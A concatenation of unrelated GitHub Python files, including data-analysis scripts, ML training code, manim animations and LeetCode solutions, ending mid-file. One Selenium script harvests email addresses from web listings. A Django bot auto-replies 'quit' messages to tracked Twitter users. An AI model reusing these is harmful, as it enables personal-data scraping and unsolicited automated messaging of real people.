{"seq_id":"28325241161","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nfrom fhirclient import client\nimport fhirclient.models.patient as p\nimport fhirclient.models.bundle as bundle\n\nsettings = {'app_id':'xxxx',\n            'api_base': 'https://r2.smarthealthit.org',\n            'patient_id': 'smart-1137192'}\n# In[2]:\n\n\nsettings = {'app_id': 'my-app',\n            'api_base': 'https://fhir.sitenv.org/open/fhir',\n            'app_secret':'my-app-secret-123',\n            'launch_token': 'bXktYXBwOm15LWFwcC1zZWNyZXQtMTIz'   \n            }\n\n\n# In[3]:\n\n\nsmart = client.FHIRClient(settings=settings)\n\n\n# In[4]:\n\n\n#smart.ready\n#smart.prepare()\n#smart.ready\n#smart.authorize_url\n\n\n# In[5]:\n\n\npatient = p.Patient.read('?_id=1&_format=json', smart.server)\npatient.birthDate.isostring\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"markregine/FHIR_Python_fhirclient_testing_open","sub_path":"script_1.py","file_name":"script_1.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"30062991922","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom utils import *\nfrom model import EncoderRNN, Attn, AttnDecoder\nfrom train import trainIters\n\n\n#Configure models\nmodel_name = 'cb_model'\nattn_model = 'dot'\n#attn_model = 'general'\n#attn_model = 'concat'\nhidden_size = 500\nencoder_n_layers = 2\ndecoder_n_layers = 2\ndropout = 0.1\nbatch_size = 64\n\nvoc, pairs = loadData('./datasets/conversations.csv')\nn_tokens = voc.size\n\nembedding = nn.Embedding(n_tokens, hidden_size)\nencoder = EncoderRNN(hidden_size, embedding, encoder_n_layers, dropout)\n#attn = Attn(attn_model, hidden_size)\ndecoder = AttnDecoder(attn_model, embedding, hidden_size,\n                        n_tokens, decoder_n_layers, dropout)\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nencoder = encoder.to(device)\ndecoder = decoder.to(device)\n\n# Configure training/optimization\nclip = 50.0\nteacher_forcing_ratio = 1.0\nlearning_rate = 0.0001\ndecoder_learning_ratio = 5.0\nn_iteration = 4000\nprint_every = 1\nsave_every = 500\nsave_dir = \"./checkpoints\"\ncorpus_name = \"movie conversations\"\nloadFilename = None\n\nencoder_optimizer = optim.Adam(encoder.parameters(), lr=learning_rate)\ndecoder_optimizer = optim.Adam(decoder.parameters(), lr=learning_rate * decoder_learning_ratio)\n\nencoder.train()\ndecoder.train()\ntrainIters(model_name, voc, pairs, encoder, decoder, encoder_optimizer,\n    decoder_optimizer, embedding, encoder_n_layers, decoder_n_layers,\n    save_dir, n_iteration, batch_size, print_every, save_every, clip,\n    corpus_name, loadFilename)\n","repo_name":"luopeixiang/simple_chatbot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"7254955363","text":"import time\nfrom selenium import webdriver\nimport traceback as tb\nimport time\nimport requests\nfrom bs4 import BeautifulSoup\n\ndriver = webdriver.Chrome('./chromedriver_win32/chromedriver.exe')  # Optional argument, if not specified will search path.\nl=[\"secretonlyiknow\"]\nfor i in range(2,6):\n    l+=[f\"secretonlyiknows\"]\nmegalist=[]\nfor xx in l:\n    driver.get(xx)\n    elems = driver.find_elements_by_css_selector(\".city_tab [href]\")\n    try:\n        for index,i in enumerate( elems):\n            if \"View Email ID\" in i.text:\n                x=i.get_attribute('href')\n                r=requests.get(x)\n                soup = BeautifulSoup(r.text, 'html.parser')\n                mails = soup.findAll(\"td\", {\"class\": \"table_space_td_right1\"})\n                megalist.append( mails[-1].text.split())\n    except:\n        pass\nwith open('your_file.txt', 'w+') as f:\n    for item in megalist:\n        if len(item)>1:\n            x=\" \".join(item)\n            f.write(f'{x}\\n')\n        else:\n            f.write(f'{item}\\n')\ndriver.quit()\n","repo_name":"nikhilc2710/funprojects","sub_path":"seleniumtest.py","file_name":"seleniumtest.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"36481762258","text":"import matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimg=mpimg.imread('image1.jpg')\nprint(img)\nlum_img=img[:, :, 0]\n\nplt.imshow(img)\n\nplt.imshow(lum_img, cmap=\"hot\")\nplt.savefig('output.jpg', bbox_inches='tight')\nplt.show()\n","repo_name":"subhankarghosh2000/Multimedia-System","sub_path":"Image edit/image_edit.py","file_name":"image_edit.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"21435441083","text":"import csv\n\ncsvpath = \"Resources/budget_data.csv\"\n\nrows = 0\ntotal = 0\n\nlast_profit = 0\ntot_changes = 0\nnum_changes = 0 # expected to be 85\n\nmax_change = -999999999\nmin_change = 999999999\nmin_month = \"\"\nmax_month = \"\"\n\nwith open(csvpath, encoding='utf-8') as csvfile:\n\n    # CSV reader specifies delimiter and variable that holds contents\n    csvreader = csv.reader(csvfile, delimiter=',')\n\n    # Read the header row first (skip this step if there is now header)\n    csv_header = next(csvreader)\n    print(f\"CSV Header: {csv_header}\")\n\n    for row in csvreader:\n        # print(row)\n        rows += 1\n        total += int(row[1])\n\n        # calculate the changes\n        if rows != 1:\n            change = int(row[1]) - last_profit\n            tot_changes += change\n            num_changes += 1\n\n            # find max/min of change\n            if (change > max_change):\n                max_change = change\n                max_month = row[0]\n            elif (change < min_change):\n                min_change = change\n                min_month = row[0]\n            else:\n                pass\n\n        # Always do this bit\n        # reset\n        last_profit = int(row[1])\n\navg_change = tot_changes / num_changes\n# print(rows)\n# print(total)\n# print(num_changes)\n# print(avg_change)\n# print(f\"Max Change: {max_month}: {max_change}\")\n# print(f\"Min Change: {min_month}: {min_change}\")\n\noutput = f\"\"\"Financial Analysis\n----------------------------\nTotal Months: {rows}\nTotal: ${total}\nAverage Change: ${round(avg_change, 2)}\nGreatest Increase in Profits: {max_month} (${max_change})\nGreatest Decrease in Profits: Feb-14 (${min_change})\"\"\"\n\nprint(output)\n\nwith open('pybank_out_booth.txt', 'w') as f:\n    f.write(output)","repo_name":"Bibarra1027/smu_data_bootcamp_hw_2022","sub_path":"03-Python/Instructions/Booth-Work/PyBank/pybank_booth.py","file_name":"pybank_booth.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"32767170848","text":"import cv2\nimport numpy as np\n\n\n\n# 탑뷰 변환 행렬을 구하는 함수\n# 변환행렬, 변환된이미지가로, 변환된이미지세로 반환\ndef get_trans_matrix(tl, bl, tr, br):\n\n    # Original Image\n    pts1 = np.float32([tl, bl, tr, br])\n\n    # 변환된 이미지의 가로세로 길이 계산\n    width_a = np.sqrt(((br[0] - bl[0]) ** 2) + ((br[1] - bl[1]) ** 2))\n    width_b = np.sqrt(((tr[0] - tl[0]) ** 2) + ((tr[1] - tl[1]) ** 2))\n    height_a = np.sqrt(((tr[0] - br[0]) ** 2) + ((tr[1] - br[1]) ** 2))\n    height_b = np.sqrt(((tl[0] - bl[0]) ** 2) + ((tl[1] - bl[1]) ** 2))\n\n    trans_image_weight = max(int(width_a), int(width_b))\n    trans_image_height = max(int(height_a), int(height_b))\n\n    # 변환된 새로운 이미지의 가로세로 행렬 만들기\n    pts2 = np.array([\n        [0, 0],\n        [0, trans_image_height - 1],\n        [trans_image_weight - 1, 0],\n        [trans_image_weight - 1, trans_image_height - 1]], dtype=\"float32\")\n\n    # 변환 행렬\n    trans_matrix = cv2.getPerspectiveTransform(pts1, pts2)\n\n    return trans_matrix, trans_image_weight, trans_image_height\n\n\n\nimg = cv2.imread('/Users/itaegyeong/Desktop/tt.png')\nM, w, h = get_trans_matrix([198,251], [16,378], [397, 246], [586,383])\ndst = cv2.warpPerspective(img, M, (w, h))\ncv2.imshow('original',img)\ncv2.imshow('transfer',dst)\ncv2.imwrite('transfer.jpg',dst)\ncv2.imwrite('original.jpg',img)\ncv2.waitKey(0)","repo_name":"SWMaestro8th/WatchCoach_ML","sub_path":"tt.py","file_name":"tt.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"}
{"seq_id":"33711083780","text":"import time\nfrom datetime import timedelta\n\nimport tweepy\nfrom selenium.common import TimeoutException\n\nfrom twitter_data.core.base import BaseLinkedinBot\nfrom twitter_data.core.twitter_reader import TwitterReaderBot\nfrom twitter_data.models import TwitterUser\nfrom django.contrib.auth import get_user_model\nfrom django.core.management import BaseCommand, CommandError\nfrom django.conf import settings\n\n\n\n\n\nclass Command(BaseCommand):\n    help = 'Start the stream of the bot telling everyone to quit'\n\n    def handle(self, *args, **options):\n        start = time.time()\n        bot = TwitterReaderBot()\n        self.stdout.write(\"getting users\")\n        bot.log(\"Starting\")\n        users = TwitterUser.objects.order_by('user_profile').all()\n\n        bot.go_to_twitter()\n        for index,user in enumerate(users):\n            bot.log(f\"Going to user no{index+1} {user.user_profile}\")\n            try:\n                bot.go_to_user(user.user_profile)\n            except TimeoutException:\n                bot.log('Took too long to get user page')\n                continue\n            bot.random_wait()\n            try:\n                tweet_page = bot.go_to_last_tweet()\n            except TimeoutException:\n                bot.log('Took to long to get last tweet')\n                continue\n            if tweet_page:\n                tweet = bot.get_or_save_tweet(user=user)\n                if not tweet or tweet.replied:\n                    if not tweet:\n                        bot.log(\"No tweet found\")\n                    elif tweet.replied:\n                        bot.log(\"Latest tweet already replied to\")\n                    continue\n                else:\n                    bot.log(f\"Found a new tweet, replying\")\n                    res = bot.reply_quit(user)\n                    if res:\n                        tweet.replied = True\n                        tweet.save()\n                    bot.log(\"Done replying\")\n                    bot.random_wait()\n        bot.log('All users done')\n        self.stdout.write(\"task finished\")\n        end = time.time()\n        bot.log(f\"{timedelta(seconds=(end-start))}\")\n\n\n\n\n","repo_name":"elam91/quitbot","sub_path":"twitter_data/management/commands/tell_them_to_quit.py","file_name":"tell_them_to_quit.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"24465236358","text":"import torch\nimport sys\n# absolute path to utilities\nsys.path.insert(0, 'C:\\\\Users\\\\ahmed.saidani\\\\Desktop\\\\FMLB\\\\server\\\\fml\\\\utils')\nimport torch.nn as nn\nfrom models import CifarCnn, MnistCnn\nfrom data_loaders import CifarDataLoader, MnistDataLoader\nfrom config import Config\nimport torchvision.transforms as transforms\nimport torchvision.datasets as datasets\nimport torch.optim as optim\nimport syft as sy  # <-- NEW: import the Pysyft library\nimport os, psutil\nimport time\nfrom sklearn.metrics import precision_score, recall_score, f1_score\nimport GPUtil\n\n# declare the config, model, dataset, optimizer, and criterion\nconfig = Config(sys.argv)\n\n# supports both mnist and cifar datasets\nif config.dataset ==\"CIFAR\":\n    model = CifarCnn()\nelse:\n    model = MnistCnn()\n\nif config.dataset ==\"CIFAR\":\n    dataloader = CifarDataLoader(sys.argv)\nelse:\n    dataloader = MnistDataLoader(sys.argv)\n\noptimizer = optim.SGD(model.parameters(), lr=config.lr)\ncriterion = nn.CrossEntropyLoss()\n\n# declare clients\nhook = sy.TorchHook(torch)  \nclient_one = sy.VirtualWorker(hook, id=\"client_one\")  \nclient_two = sy.VirtualWorker(hook, id=\"client_two\")  \n\n# workers and gpu config\nuse_cuda = config.gpu and torch.cuda.is_available()\ntorch.manual_seed(1)\ndevice = torch.device(\"cuda\" if use_cuda else \"cpu\")\nkwargs = {'num_workers': 1, 'pin_memory': True} if use_cuda else {}\n\n# load federated dataset\nfederated_train_loader = sy.FederatedDataLoader(dataloader.train_dataset.federate((client_one, client_two)), batch_size=config.batch_size, shuffle=True, **kwargs)\n\n# define training\ndef train():\n    for i in range(config.epochs):\n        model.train()\n        for batch_idx, (data, target) in enumerate(federated_train_loader): \n            model.send(data.location) \n            data, target = data.to(device), target.to(device)\n            optimizer.zero_grad()\n            output = model(data)\n            loss = criterion(output, target)\n            loss.backward()\n            optimizer.step()\n            model.get() \n\n# define testing\ndef test():\n    model.eval()\n    total_loss = 0\n    correct = 0\n    total = 0\n    y_true = []\n    y_pred = []\n    with torch.no_grad():\n        for data, target in dataloader.test_loader:\n            data, target = data.to(device), target.to(device)\n            output = model(data)\n            y_true.extend(target.numpy())\n            _, predicted = torch.max(output.data, 1)\n            y_pred.extend(predicted.cpu().numpy())\n            total_loss += criterion(output, target).item() \n            pred = output.argmax(1, keepdim=True) \n            correct += pred.eq(target.view_as(pred)).sum().item()\n            total += target.size(0)\n    # get accuracy metrics        \n    accuracy = str(100 * correct/total)\n    total_loss = str(total_loss/total)\n    precision=str(100 * sum(precision_score(y_true, y_pred, average=None))/len(dataloader.train_dataset.classes))\n    recall=str(100 * sum(recall_score(y_true, y_pred, average=None))/len(dataloader.train_dataset.classes))\n    fone=str(100 * sum(f1_score(y_true, y_pred, average=None))/len(dataloader.train_dataset.classes))\n    return accuracy, total_loss, precision, recall, fone\n\n# define benchmarking function        \ndef benchmark():\n  # declare start time, cpu and network use at the begining \n  start_time = time.time()\n  old_network = psutil.net_io_counters().bytes_recv + psutil.net_io_counters().bytes_sent\n  old_cpu = psutil.cpu_percent(interval=None)\n  # scrape metrics\n  train()\n  accuracy, total_loss, precision, recall, fone = test()\n  execution_time = time.time() - start_time\n  cpu = str(psutil.cpu_percent(interval=None))\n  execution_time = str(execution_time)\n  new_network = psutil.net_io_counters().bytes_recv + psutil.net_io_counters().bytes_sent\n  network = str(new_network - old_network)\n  memory = str(psutil.Process(os.getpid()).memory_info().rss / 1024 ** 2)\n  if config.gpu == True:\n    GPUs = GPUtil.getGPUs()\n    gpu = str(GPUs[0].load * 100)\n  else:\n    gpu = \"0\"\n  # log metrics\n  data = '{ library: pysyft; \\n accuracy: ' + accuracy + '; \\n loss: ' + total_loss + '; \\n recall: ' + recall + '; \\n precision: ' + precision + '; \\n f1: ' + fone + '; \\n time: ' + execution_time + '; \\n network: ' + network  + '; \\n memory: ' +  memory + '; \\n cpu: ' +  cpu + '; \\n gpu: ' +  gpu +\"; \\n }\"\n  print(data)\n  sys.stdout.flush()\n \n# run\nbenchmark()\n\n","repo_name":"sdn98/BFML","sub_path":"server/fml/libraries/pysyft/image_classifier_cnn.py","file_name":"image_classifier_cnn.py","file_ext":"py","file_size_in_byte":4363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"32761427766","text":"import csv\nimport sys\n\nclass ConvertCSV:\n    def __init__(self,fileName):\n        self.fileName = fileName\n\n    def fileOpen(self):\n        \"\"\"\n        引数に指定されているファイルを読み込み\n        \"\"\"\n        try:\n            with open(self.fileName, 'r') as file:\n                reader = csv.reader(file)\n                self.readerData = list(reader)  # CSVファイル全体を変数に格納\n        except Exception as e:\n            print(\"ファイルを開く際にエラーが発生しました。\")\n            print(\"実行時引数にcsvファイルを指定しているか確認してください。\")\n            sys.exit()\n        \n        csv_count = 0\n        for row in self.readerData:\n            csv_count += 1\n            if csv_count == 1001:\n                print(\"csvファイルが1000行を超えています。\")\n                sys.exit()\n    \n    def convert(self):\n        \"\"\"\n        変換を行う\n        \"\"\"\n        for row in self.readerData:\n            print(row)\n\n\n\n\n\ndef main():\n    args = sys.argv\n    execution = ConvertCSV(args[1])\n    execution.fileOpen()\n    execution.convert()\n\n\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"job3-14/Alec.csv-conv","sub_path":"convertCsv.py","file_name":"convertCsv.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"41267936689","text":"#Import file along filepath\nimport os\nimport csv\n\ncsvpath = os.path.join('Resources', 'election_data.csv')\n\n#Read the CSV File\nwith open(csvpath, encoding='utf') as csv_file:\n    csv_reader = csv.reader(csv_file, delimiter=\",\")\n\n    ## Assing preloop values\n    win = object\n    cVoteC = 0\n    cVoteD = 0\n    cVoteR = 0\n    #cVoteO = 0 (( I added this to ensure there weren't any odd entries))\n\n    ## Count 3 unique occurances of each name per ballot/row\n    for row in csv_reader:\n        if row [2] == \"Charles Casper Stockham\":\n            cVoteC = cVoteC + 1\n        elif row [2]==\"Diana DeGette\":\n            cVoteD = cVoteD + 1\n        elif row [2] == \"Raymon Anthony Doane\":\n            cVoteR = cVoteR + 1\n        #else:\n            #cVoteO = CVoteO + 1\n\n## Total votes\n    tVotes = (cVoteC) + (cVoteD) + (cVoteR)# + (cVoteO)\n\n## Divide the 3 occurance counts by the total\n    pVoteC = (cVoteC) / (tVotes)\n    pVoteD = (cVoteD) / (tVotes)\n    pVoteR = (cVoteR) / (tVotes)\n\n## Format percentages\n    fpVoteC = \"{:.3%}\".format(pVoteC)\n    fpVoteD = \"{:.3%}\".format(pVoteD)\n    fpVoteR = \"{:.3%}\".format(pVoteR)\n\n## Find the largest total\n    if (cVoteC) > (cVoteD) and (cVoteC) > (cVoteR):\n        win = \"Charles.Casper.Stockham\"\n    elif (cVoteD) > (cVoteC) and (cVoteD) > (cVoteR):\n        win = \"Diana.DeGette\"\n    else:\n        win = \"Raymon.Anthony.Doane\"\n    \nprint(\" \")\nprint(\"Election Results\")\nprint(\"_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _\")\nprint(\" \")\nprint(f\"Total votes: {tVotes}\")\nprint(\"_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _\")\nprint(\" \")\nprint(f\"Charles Casper Stockham: {fpVoteC} ({cVoteC})\")\nprint(f\"Diana DeGette: {fpVoteD} ({cVoteD})\")\nprint(f\"Raymon Anthony Doane: {fpVoteR} ({cVoteR})\")\nprint(\"_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _\")\nprint(\" \")\nprint(f\"Winner: {win}\")\nprint(\"_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _\")\nprint(\" \")\n\n# Set variable for output file\noutput_file = os.path.join(\"PyPoll\")\n\n#  Open the output file\nwith open(output_file, \"w\") as txtfile:\n    writer = csv.writer(txtfile, delimiter=' ', quoting=csv.QUOTE_NONE)\n    writer.writerow(\".\")\n    writer.writerow(\"Election.Results\")\n    writer.writerow(\"_._._._._._._._._._._._._._._._._._._\")\n    writer.writerow(\".\")\n    writer.writerow(f\"Total.votes:.{tVotes}\")\n    writer.writerow(\"_._._._._._._._._._._._._._._._._._._\")\n    writer.writerow(\".\")\n    writer.writerow(f\"Charles.Casper.Stockham:.{fpVoteC}.({cVoteC})\")\n    writer.writerow(f\"Diana.DeGette:.{fpVoteD}.({cVoteD})\")\n    writer.writerow(f\"Raymon.Anthony.Doane:.{fpVoteR}.({cVoteR})\")\n    writer.writerow(\"_._._._._._._._._._._._._._._._._._._\")\n    writer.writerow(\".\")\n    writer.writerow(f\"Winner:.{win}\")\n    writer.writerow(\"_._._._._._._._._._._._._._._._._._._\")\n    writer.writerow(\".\")\n    ","repo_name":"JohnTorgerson/python-challenge","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"42333547977","text":"import logging, requests, tqdm, random, boto3, instances, json\nfrom typing import List\n\n\n# Configure logging\nlogging.basicConfig(level=logging.INFO, format='%(levelname)s - %(message)s')\n\n# Get the AWS instance base url\nINSTANCE = instances.retreive_instance()\nINSTANCE.load()\nDNS_NAME = INSTANCE.public_dns_name\nBASE_URL = 'http://' + DNS_NAME\n\n\ndef benchmark(tech_1: str, tech_2: str, dataset: List[str], repeat: int):\n    '''\n    Runs MapReduce tasks for provided technologies.\n\n        Parameters:\n            tech_1 (str):       1st technology to compare ('hadoop', 'spark' or 'linux')\n            tech_2 (str):       2nd technology to compare ('hadoop', 'spark' or 'linux')\n            tech_2 (List[str]): List of input filenames\n            repeat (int):       Number of times to repeat each comparison\n\n        Returns:\n            results (dict): The comparison results\n    '''\n    # Fetch result n number of times, for each technologies, over all input files\n    results = {}\n    with tqdm.tqdm(total=len(dataset)*2*repeat) as pbar:\n        for data in dataset:\n            results[data] = {tech_1: [], tech_2: []}\n            for i in range(repeat):\n                for t in (tech_1, tech_2):\n                    resp = requests.get(BASE_URL + '/' + t + '/wordcount/' + data)\n                    results[data][t].append(resp.json()['time'])\n                    pbar.update(1)\n\n    # Parse the results\n    parsed_results = {\n        'per_file': {},\n        'total': {}\n    }\n    totals = {tech_1: 0.0, tech_2: 0.0}\n    for file in results:\n        totals_file = {tech_1: 0.0, tech_2: 0.0}\n        for tech in results[file]:\n            for test in results[file][tech]:\n                totals[tech]      += test['elapsed']\n                totals_file[tech] += test['elapsed']\n        parsed_results['per_file'][file] = {\n            tech_1: { 'average_time': totals_file[tech_1] / repeat },\n            tech_2: { 'average_time': totals_file[tech_2]  / repeat }\n        }\n    parsed_results['total'] = {\n        tech_1: { 'average_time': totals[tech_1] / ( repeat * len(dataset) ) },\n        tech_2: { 'average_time': totals[tech_2]  / ( repeat * len(dataset) ) }\n    }\n    return parsed_results\n\n\n\ndef main():\n    '''\n    The main function of the bechmarking script.\n\n    This function will execute two comparisons and output rhe results in files.\n    The first comparison is Hadoop vs Linux, which runs 10 times with \n    'pg4300.txt' file as input, which means that a total of 20 MapReduce tasks\n    are done for thsi comparison.\n\n    The second comparison is Hadoop vs Spark, which runs 3 times for every file\n    provided in the dataset (total of 9 files), which means that a total of \n    54 MapReduce task are done for this comparison.\n\n    Files generated by this functions are:\n    - hadoop_vs_linux.json\n    - hadoop_vs_spark.json\n    '''\n\n    # Run Hadoop vs Linux benchmark\n    logging.info('HADOOP vs LINUX')\n    hadoop_vs_linux = benchmark(\n        'hadoop',\n        'linux', \n        [\n            'pg4300.txt'\n        ],\n        10\n    )\n    with open('hadoop_vs_linux.json', 'w') as file:\n        file.write(json.dumps(hadoop_vs_linux, indent=4))\n    logging.info('Results written to hadoop_vs_linux.json.')\n\n    # Run Hadoop vs Spark benchmark\n    logging.info('HADOOP vs SPARK')\n    hadoop_vs_spark = benchmark(\n        'hadoop',\n        'spark', \n        [\n            'buchanj-midwinter-00-t.txt',\n            'carman-farhorizons-00-t.txt',\n            'charlesworth-scene-00-t.txt',\n            'cheyneyp-darkbahama-00-t.txt',\n            'colby-champlain-00-t.txt',\n            'delamare-bumps-00-t.txt',\n            'delamare-lucy-00-t.txt',\n            'delamare-myfanwy-00-t.txt',\n            'delamare-penny-00-t.txt'\n        ],\n        3\n    )\n    with open('hadoop_vs_spark.json', 'w') as file:\n        file.write(json.dumps(hadoop_vs_spark, indent=4))\n    logging.info('Results written to hadoop_vs_spark.json.')\n\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"JordMim/LOG8415E","sub_path":"tp2/benchmark/benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":3991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"32833740281","text":"# учимся работать со списком списков. Финал\r\ndef TankRush(H1, W1, S1, H2, W2, S2):\r\n    # проверяем подходит ли количество строк и столбцов\r\n    if H2 > H1 or W2 > W1:\r\n        result = False\r\n        return result\r\n\r\n    # разбиваем строку на части\r\n    S1_split = S1.split(' ')\r\n    S2_split = S2.split(' ')\r\n\r\n    #   !!! определяем все варианты номера начальной строки и столбца, записываем их в список списков\r\n    start_variants = []\r\n    i_column_1 = -1\r\n    for i_1, val_1 in enumerate(S1_split):\r\n        while 1:\r\n            i_column_1 = val_1.find(S2_split[0], i_column_1 + 1)\r\n            if i_column_1 == -1:\r\n                break\r\n            start_variants += [[i_1, i_column_1]]\r\n\r\n    # цикл по вариантам начального номера строки и столбца\r\n    for start in start_variants:\r\n        i_string_1 = start[0]\r\n        i_column_1 = start[1]\r\n\r\n        # основной цикл\r\n        i_2 = 0\r\n        general_match = 0\r\n\r\n        for i_1, val_1 in enumerate(S1_split):\r\n            try:\r\n                if i_1 < i_string_1:\r\n                    pass\r\n\r\n                elif i_1 >= i_string_1 \\\r\n                        and (val_1[i_column_1:(i_column_1 + len(S2_split[i_2]))] == S2_split[i_2]):\r\n                    i_2 += 1\r\n                    general_match += 1\r\n\r\n                else:\r\n                    break\r\n\r\n            except:\r\n                break\r\n\r\n        # финальная проверка по всем совпадениям\r\n        if general_match == len(S2_split):\r\n            result = True\r\n            break\r\n        else:\r\n            result = False\r\n\r\n    return result\r\n\r\n","repo_name":"NikLaz25/Training_1","sub_path":"task_15_4.py","file_name":"task_15_4.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"14170541946","text":"import random\n\nfrom colour import Color\n\nfrom manim import *\n\n\nclass SweepingLine(Scene):\n    def construct(self):\n        growing_circle = Circle(radius=0.001)\n\n        moving_line = Line(start=[-7, 6, 0], end=[-6, -6, 0])\n        moving_line.normal_vector = (\n            moving_line.copy().rotate(90 * DEGREES).get_vector()\n        )\n\n        def opacity_updater(obj: Mobject):\n            if sum(  # check whether dot is inside circle\n                (growing_circle.points[0] - growing_circle.get_center()) ** 2\n            ) >= sum((obj.get_center() - growing_circle.get_center()) ** 2):\n                obj.set_fill(BLUE, opacity=1)\n                obj.clear_updaters()\n                obj.add_updater(color_updater)\n                # self.add_sound()\n\n        def color_updater(obj: Mobject):\n            if np.dot(  # check whether point is *right* of the line\n                obj.get_center(), moving_line.normal_vector\n            ) < np.dot(moving_line.get_start(), moving_line.normal_vector):\n                if obj.color != Color(BLUE):\n                    obj.set_color(BLUE)\n                    # self.add_sound()\n            else:\n                if obj.color != Color(YELLOW):\n                    obj.set_color(YELLOW)\n\n        self.add(growing_circle)\n\n        for _ in range(30):\n            p = Dot(fill_opacity=0.6)\n            p.move_to([random.uniform(-6, 6), random.uniform(-4, 4), 0])\n            p.add_updater(opacity_updater)\n            self.add(p)\n\n        self.play(\n            growing_circle.animate.scale_to_fit_width(\n                1.5 * config.frame_width\n            ),\n            run_time=5,\n        )\n\n        self.play(Create(moving_line))\n        self.play(moving_line.animate.shift(14 * RIGHT), run_time=5)\n        self.play(moving_line.animate.shift(14 * LEFT), run_time=5)\n\n","repo_name":"tehutahu/manim_practice","sub_path":"example_scenes/practice/tutorialE06.py","file_name":"tutorialE06.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"74246843022","text":"class BST:\n\tclass Node:\n\t\tdef __init__(self, data):\n\t\t\t# Intializes the note with the right data\n\t\t\tself.data = data\n\t\t\tself.left = None\n\t\t\tself.right = None\n\n\tdef __init__(self):\n\t\t# Creates an empty BST\n\t\tself.root = None\n\t\n\tdef __contains__(self, data):\n\t\t# This tells the program to start at the root\n\t\treturn self._contains(data, self.root)\n\n\tdef _contains(self, data, node):\n\t\t# This is the base class\n\t\tif node.data == data:\n\t\t\tprint('True')\n\t\t\treturn True\n\n\t\telse:\n\t\t\t# check left\n\t\t\tif data < node.data:\n\t\t\t\tif node.left != None:\n\t\t\t\t\tself._contains(data, node.left)\n\t\t\t# check right\n\t\t\telif data > data.data:\n\t\t\t\tif node.right != None:\n\t\t\t\t\tself._contains(data, node.right)\n\t\t\telse:\n\t\t\t\treturn False\n\n# This is what will check if certain numbers are in the tree:\ntree = BST()\nprint(3 in tree) # True\nprint(2 in tree) # False\nprint(7 in tree) # True\nprint(6 in tree) # True\nprint(9 in tree) # False\n\t\t\n\n\n\t\t\n\n","repo_name":"SpaceDadNewman/CSE212-FinalProj","sub_path":"tree_example.py","file_name":"tree_example.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72788225423","text":"\"\"\"\n129. Sum Root to Leaf Numbers\nMedium\n\nYou are given the root of a binary tree containing digits from 0 to 9 only. \nEach root-to-leaf path in the tree represents a number.\nFor example, the root-to-leaf path 1 -> 2 -> 3 represents the number 123.\nReturn the total sum of all root-to-leaf numbers. Test cases are generated so that the answer will fit in a 32-bit integer. A leaf node is a node with no children.\n\nExample 1:\nInput: root = [1,2,3]\nOutput: 25\nExplanation:\nThe root-to-leaf path 1->2 represents the number 12.\nThe root-to-leaf path 1->3 represents the number 13.\nTherefore, sum = 12 + 13 = 25.\n\nExample 2:\nInput: root = [4,9,0,5,1]\nOutput: 1026\nExplanation:\nThe root-to-leaf path 4->9->5 represents the number 495.\nThe root-to-leaf path 4->9->1 represents the number 491.\nThe root-to-leaf path 4->0 represents the number 40.\nTherefore, sum = 495 + 491 + 40 = 1026.\n\"\"\"\n\n# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\n\n\nclass Solution:\n    def sumNumbers(self, root: Optional[TreeNode]) -> int:\n        \"\"\"\n        BFS for level order traverse\n        Record (node, pre) when traversing the tree\n        res += pre when reaching leaf node\n        \"\"\"\n        res = 0\n        queue = collections.deque([(root, 0)])\n        while queue:\n            node, pre = queue.popleft()\n            pre = 10 * pre + node.val\n            if not node.left and not node.right:\n                res += pre\n            if node.left:\n                queue.append((node.left, pre))\n            if node.right:\n                queue.append((node.right, pre))\n        return res\n\n\nclass Solution:\n    def sumNumbers(self, root: TreeNode, pre=0) -> int:\n        \"\"\"Return sum of root-to-leaf numbers\"\"\"\n        if not root:\n            return 0\n\n        pre = 10 * pre + root.val\n        if 